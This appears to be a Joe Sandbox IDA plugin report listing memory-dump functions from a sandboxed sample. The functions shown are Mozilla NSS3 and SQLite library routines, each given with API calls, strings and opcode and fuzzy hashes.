Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: c421e6e6adcb1f268a06bb8554a7a75fd6fb8d5a643ab88ef7d6e4071cc4b3b1
Instruction ID: 42d0a70b7df68d09508718e67581784ece12726dcfaef60345d8b39b1dea47e2
Opcode Fuzzy Hash: c421e6e6adcb1f268a06bb8554a7a75fd6fb8d5a643ab88ef7d6e4071cc4b3b1
Instruction Fuzzy Hash: 6421D4B1A00302ABEB10AF7D9C45A5B77B8AF41359F050439E85BC2A00EB31F5148BAA

Function 6C4BAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C4BAF47

Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890AB
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C5890C9
Part of subcall function 6C589090: EnterCriticalSection.KERNEL32 ref: 6C5890E5
Part of subcall function 6C589090: TlsGetValue.KERNEL32 ref: 6C589116
Part of subcall function 6C589090: LeaveCriticalSection.KERNEL32 ref: 6C58913F

FreeLibrary.KERNEL32(?), ref: 6C4BAF6D
free.MOZGLUE(?), ref: 6C4BAFA4
free.MOZGLUE(?), ref: 6C4BAFAA
PR_ExitMonitor.NSS3 ref: 6C4BAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C4BAFF5
PR_ExitMonitor.NSS3 ref: 6C4BB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C4BB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C4BB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C4BB03C

Strings

%s decr => %d, xrefs: 6C4BAFF0
Unloaded library %s, xrefs: 6C4BB023

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 772d31807637413addafd6ba7312a9b555a06ce7db77d369cbb87103dc5e31e5
Instruction ID: 458d05365b53e7251b525910c9a41d7424c2d25380b1f32f522029e4de61424b
Opcode Fuzzy Hash: 772d31807637413addafd6ba7312a9b555a06ce7db77d369cbb87103dc5e31e5
Instruction Fuzzy Hash: FD31E0B4A04110ABDB01DF65DC80F99B7B5AF45309B184125E806A7F01F332E829CBB6

Function 6C506C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C50781D,00000000,6C4FBE2C,?,6C506B1D,?,?,?,?,00000000,00000000,6C50781D), ref: 6C506C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C50781D,?,6C4FBE2C,?), ref: 6C506C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C50781D), ref: 6C506C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C506C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C506C96

Part of subcall function 6C4B1240: TlsGetValue.KERNEL32(00000040,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1267
Part of subcall function 6C4B1240: EnterCriticalSection.KERNEL32(?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B127C
Part of subcall function 6C4B1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B1291
Part of subcall function 6C4B1240: PR_Unlock.NSS3(?,?,?,?,6C4B116C,NSPR_LOG_MODULES), ref: 6C4B12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C506CAA

Strings

dbm, xrefs: 6C506CA4
extern:, xrefs: 6C506C7E
dbm:, xrefs: 6C506C3A
sql:, xrefs: 6C506C52
rdb:, xrefs: 6C506C69
NSS_DEFAULT_DB_TYPE, xrefs: 6C506C91

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 4e4df3335fc1ba51fb26174903bbfb76850c55a3916fc46f047be1009d0bd1d1
Instruction ID: a54b678ee2821785e7af41fe61739915519d8dc724bcbe7b45799ff1327eebb7
Opcode Fuzzy Hash: 4e4df3335fc1ba51fb26174903bbfb76850c55a3916fc46f047be1009d0bd1d1
Instruction Fuzzy Hash: E701A2B17023013BE654277E5D8AF26255CEF9119AF140432FE06F0981EFA2E51544AD

Function 6C515800 Relevance: 19.7, APIs: 13, Instructions: 227COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C515857
EnterCriticalSection.KERNEL32(?), ref: 6C51586B
PR_Unlock.NSS3(?), ref: 6C515888
TlsGetValue.KERNEL32 ref: 6C5158B9
EnterCriticalSection.KERNEL32(?), ref: 6C5158CD
PR_Unlock.NSS3(?), ref: 6C5158E9

Part of subcall function 6C515530: TlsGetValue.KERNEL32(?,?,?,00000000,?,6C515915,?), ref: 6C515556
Part of subcall function 6C515530: EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,6C515915,?), ref: 6C51556F
Part of subcall function 6C515530: PR_Unlock.NSS3(?,?,?,?,?), ref: 6C51559C
Part of subcall function 6C515530: SECMOD_UpdateSlotList.NSS3(?,?,?,?,?), ref: 6C5155A4
Part of subcall function 6C515530: PR_Sleep.NSS3(?,?,?,?), ref: 6C515643
Part of subcall function 6C515530: TlsGetValue.KERNEL32(?,?,?,?), ref: 6C515653
Part of subcall function 6C515530: EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 6C515668

PR_SetError.NSS3(FFFFE098,00000000), ref: 6C515934
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C5159AA
SECMOD_UpdateSlotList.NSS3(?), ref: 6C5159B3
TlsGetValue.KERNEL32 ref: 6C515A4D
EnterCriticalSection.KERNEL32(?), ref: 6C515A61
PR_Unlock.NSS3(?), ref: 6C515A7A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalEnterSectionValue$Unlock$ErrorListSlotUpdate$Sleep
String ID:
API String ID: 1180358131-0
Opcode ID: 65f572856c737a1fae589735090b51a245febef33fe1668d9dc9153136b30419
Instruction ID: d50bde98f911707a81823c16eb215268cd79d11cb52973fde6c555890fa9d08b
Opcode Fuzzy Hash: 65f572856c737a1fae589735090b51a245febef33fe1668d9dc9153136b30419
Instruction Fuzzy Hash: 9F8114B1E04201DBFB009F39DC89A6A77B5BF44328F540939D94687F61E731E955CB82

Function 6C514E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C4D78F8), ref: 6C514E6D

Part of subcall function 6C4B09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C4B06A2,00000000,?), ref: 6C4B09F8
Part of subcall function 6C4B09E0: malloc.MOZGLUE(0000001F), ref: 6C4B0A18
Part of subcall function 6C4B09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C4B0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C4D78F8), ref: 6C514ED9

Part of subcall function 6C505920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C507703,?,00000000,00000000), ref: 6C505942
Part of subcall function 6C505920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C507703), ref: 6C505954
Part of subcall function 6C505920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C50596A
Part of subcall function 6C505920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C505984
Part of subcall function 6C505920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C505999
Part of subcall function 6C505920: free.MOZGLUE(00000000), ref: 6C5059BA
Part of subcall function 6C505920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C5059D3
Part of subcall function 6C505920: free.MOZGLUE(00000000), ref: 6C5059F5
Part of subcall function 6C505920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C505A0A
Part of subcall function 6C505920: free.MOZGLUE(00000000), ref: 6C505A2E
Part of subcall function 6C505920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C505A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514EB3

Part of subcall function 6C514820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C514EB8,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C51484C
Part of subcall function 6C514820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C514EB8,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C51486D
Part of subcall function 6C514820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C514EB8,?), ref: 6C514884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514EC0

Part of subcall function 6C514470: TlsGetValue.KERNEL32(00000000,?,6C4D7296,00000000), ref: 6C514487
Part of subcall function 6C514470: EnterCriticalSection.KERNEL32(?,?,?,6C4D7296,00000000), ref: 6C5144A0
Part of subcall function 6C514470: PR_Unlock.NSS3(?,?,?,?,6C4D7296,00000000), ref: 6C5144BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C514F8F
PK11_UpdateSlotAttribute.NSS3(?,6C5EDCB0,00000000), ref: 6C514FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C51501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C4D78F8), ref: 6C51506B

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 1794953f2c1dded24e409d1a64534bc3d4bca4ca338a41e787b1b1d5efdb1ff2
Instruction ID: 52d298791c77a523885ef8a173c378cb0416a349901d644864d89ca42e01faa2
Opcode Fuzzy Hash: 1794953f2c1dded24e409d1a64534bc3d4bca4ca338a41e787b1b1d5efdb1ff2
Instruction Fuzzy Hash: D751F1B5904201DFFB11AF66EC49A9A37B4AF4531DF180635EC0A82F11F731E959CAD2

Function 6C4BACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4BACE2
malloc.MOZGLUE(00000001), ref: 6C4BACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4BAD02
TlsGetValue.KERNEL32 ref: 6C4BAD3C
calloc.MOZGLUE(00000001,?), ref: 6C4BAD8C
PR_Unlock.NSS3 ref: 6C4BADC0
free.MOZGLUE(00000000), ref: 6C4BAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C4BAE58
free.MOZGLUE(00000000), ref: 6C4BAE69
free.MOZGLUE(?), ref: 6C4BAE78
PR_Unlock.NSS3 ref: 6C4BAE8C
free.MOZGLUE(?), ref: 6C4BAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4BAEC7

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 7a3005da72315c10a0cc66a56717e2eaad60ee6c17c950ad5b099eca0a4f7f9c
Instruction ID: d3f6c182dab7801a43a397592760114e9244b31989252ff5867a32dd700136de
Opcode Fuzzy Hash: 7a3005da72315c10a0cc66a56717e2eaad60ee6c17c950ad5b099eca0a4f7f9c
Instruction Fuzzy Hash: AF519FB0A442159BDF00DF5ACC81EAE77B9BF0634AF140126E805B7B10D736AD15CBEA

Function 6C501940 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C50563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C50195C
EnterCriticalSection.KERNEL32(?,?,6C50563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C4DEAC5,00000001), ref: 6C501970
PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C4DEAC5,00000001,?,6C4DCE9B,00000001,6C4DEAC5), ref: 6C5019A0

Part of subcall function 6C56DD70: TlsGetValue.KERNEL32 ref: 6C56DD8C
Part of subcall function 6C56DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C56DDB4

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000001,00000002,?,?,?,?,?,6C4DEAC5,00000001,?,6C4DCE9B,00000001,6C4DEAC5), ref: 6C5019BF

Strings

<VPl, xrefs: 6C50198A

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: CriticalSectionValue$ArenaEnterLeaveMark_UnlockUtil
String ID: <VPl
API String ID: 3030358274-221755936
Opcode ID: 3a0e3cf5587fdee554e3b1f3bb5f057a37f7e9c35e3e05a942d6a231ea82a23f
Instruction ID: 7c772c309b36ac3d4fd70442618672786fd877dc6a4b600ce1d1d592bc34bced
Opcode Fuzzy Hash: 3a0e3cf5587fdee554e3b1f3bb5f057a37f7e9c35e3e05a942d6a231ea82a23f
Instruction Fuzzy Hash: E8517CB6B006059BEB00DF69DC82A6B37A4EF4539CF184564EC1ACBB41E731E954CBD2

Function 6C594C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C594CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C594CFD
sqlite3_value_text16.NSS3(?), ref: 6C594D44

Strings

unknown error, xrefs: 6C594D56
invalid, xrefs: 6C594CF1
bad parameter or other API misuse, xrefs: 6C594D05
abort due to ROLLBACK, xrefs: 6C594D27, 6C594D33
API call with %s database connection pointer, xrefs: 6C594CF6
no more rows available, xrefs: 6C594D2E
out of memory, xrefs: 6C594C78, 6C594C9E
another row available, xrefs: 6C594D20

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 3fdfd03b2d2865d33ecc8e0d356a8da016a56950244991378f652b637c1bbba4
Instruction ID: fe9638b299092f40b41088b95eb2a27f64fdc4c21df37a083bdd6dd5a89414e0
Opcode Fuzzy Hash: 3fdfd03b2d2865d33ecc8e0d356a8da016a56950244991378f652b637c1bbba4
Instruction Fuzzy Hash: 5A319C77E08AD2AFE7088B289C01BE5B371BB92319F1505A9D4345BF24C735EC1287E6

Function 6C4C4880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C48A2
PORT_NewArena_Util.NSS3(00000800), ref: 6C4C48C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6C4C48D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6C4C48FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6C4C4908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C4C4947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6C4C496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C4C4988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C5E8DAC,?), ref: 6C4C49DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C4C49FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C4C4ACB

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 54f1f1916022c7b272803dfe8cc2f6e58b2eba70d436751480cbd4ba1bf7d15c
Instruction ID: 8812165d66959458982b72fa10e7136a816302b5587ed9be9d654594d6c1df83
Opcode Fuzzy Hash: 54f1f1916022c7b272803dfe8cc2f6e58b2eba70d436751480cbd4ba1bf7d15c
Instruction Fuzzy Hash: 1551F779B003018BEB10CE75DE41F6B76E4AF81389F105129ED19AABA1E772D814CB67

Function 6C592D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C592D9F

Part of subcall function 6C44CA30: EnterCriticalSection.KERNEL32(?,?,?,6C4AF9C9,?,6C4AF4DA,6C4AF9C9,?,?,6C47369A), ref: 6C44CA7A
Part of subcall function 6C44CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C44CB26

sqlite3_exec.NSS3(?,?,6C592F70,?,?), ref: 6C592DF9
sqlite3_free.NSS3(00000000), ref: 6C592E2C
sqlite3_free.NSS3(?), ref: 6C592E3A
sqlite3_free.NSS3(?), ref: 6C592E52
sqlite3_mprintf.NSS3(6C5FAAF9,?), ref: 6C592E62
sqlite3_free.NSS3(?), ref: 6C592E70
sqlite3_free.NSS3(?), ref: 6C592E89
sqlite3_free.NSS3(?), ref: 6C592EBB
sqlite3_free.NSS3(?), ref: 6C592ECB
sqlite3_free.NSS3(00000000), ref: 6C592F3E
sqlite3_free.NSS3(?), ref: 6C592F4C

Memory Dump Source

Source File: 00000005.00000002.2540490683.000000006C441000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C440000, based on PE: true

Associated: 00000005.00000002.2540456955.000000006C440000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540704128.000000006C61E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540732037.000000006C61F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540760544.000000006C620000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.2540792170.000000006C625000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c440000_BSXM76J67J2SWCC02VQCUVS8ZQNV.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 065195e3c8c2448caa9edd58d18180989d04e4a0d5ee01a22bdb38510893d678
Instruction ID: d2dadfab81e4e1a52a2b79130d46f35f6e114715765420a74da7126122d7e5a5
Opcode Fuzzy Hash: 065195e3c8c2448caa9edd58d18180989d04e4a0d5ee01a22bdb38510893d678
Instruction Fuzzy Hash: 0B617DB5E012458BEB00CFA8DC85FAEB7B5EF58348F244068DC15A7B51E735E845CBA1

Function 6C5279F0 Relevance: 18.2, APIs: 12, Instructions: 181memorystringthreadCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(000000AB,?,6C52952D), ref: 6C527A02

Part of subcall function 6C520840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5208B4

SECOID_FindOID_Util.NSS3(?,?,?,6C52952D), ref: 6C527A36

Part of subcall function 6C5207B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C4C8298,?,?,?,6C4BFCE5,?), ref: 6C5207BF
Part of subcall function 6C5207B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5207E6
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C52081B
Part of subcall function 6C5207B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C520825

PR_SetError.NSS3(FFFFE005,00000000,?,?,6C52952D), ref: 6C527A63
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C52952D), ref: 6C527A7D
PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,?,?,6C52952D), ref: 6C527A9C
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?), ref: 6C527AEC
PORT_ArenaAlloc_Util.NSS3(?,00000010), ref: 6C527B04
SECITEM_CopyItem_Util.NSS3(?,?,00000000,?,?,?,?,?,?,6C52952D), ref: 6C527B3C
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,?,?,6C52952D), ref: 6C527B6B
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,?,?,6C52952D), ref: 6C527B85
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,6C52952D), ref: 6C527BB1
PR_GetCurrentThread.NSS3(?,?,6C52952D), ref: 6C527BE7

Memory Dump Source

